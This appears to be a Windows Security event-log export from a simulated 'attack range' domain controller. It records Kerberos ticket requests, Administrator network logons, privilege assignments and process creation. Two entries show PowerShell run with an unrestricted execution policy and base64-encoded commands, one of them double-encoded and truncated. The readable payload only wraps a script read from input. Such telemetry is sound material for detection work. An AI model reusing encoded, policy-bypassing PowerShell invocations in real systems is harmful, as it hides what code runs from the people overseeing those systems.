Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253046
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x191884

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253045
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x191884

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253044
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x191884
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D086B8A5-5F4E-D37E-881F-054F609C35F4}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253043
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{D086B8A5-5F4E-D37E-881F-054F609C35F4}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253042
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{D086B8A5-5F4E-D37E-881F-054F609C35F4}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253041
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253040
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x185B07

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253039
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x185428

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253038
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x18411D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253080
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x193157

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253079
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x193157
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A7D357D9-3948-EC2D-AF65-CC7CD414C573}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253078
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A7D357D9-3948-EC2D-AF65-CC7CD414C573}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253077
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A7D357D9-3948-EC2D-AF65-CC7CD414C573}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253076
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253075
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1918D5

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9c0
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x122c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253074
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1918D5

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x122c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1384
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253073
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x191D1E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253072
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x191D1E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A7D357D9-3948-EC2D-AF65-CC7CD414C573}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253071
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A7D357D9-3948-EC2D-AF65-CC7CD414C573}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253070
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A7D357D9-3948-EC2D-AF65-CC7CD414C573}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253069
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253068
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1918D5

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1384
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x508
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBB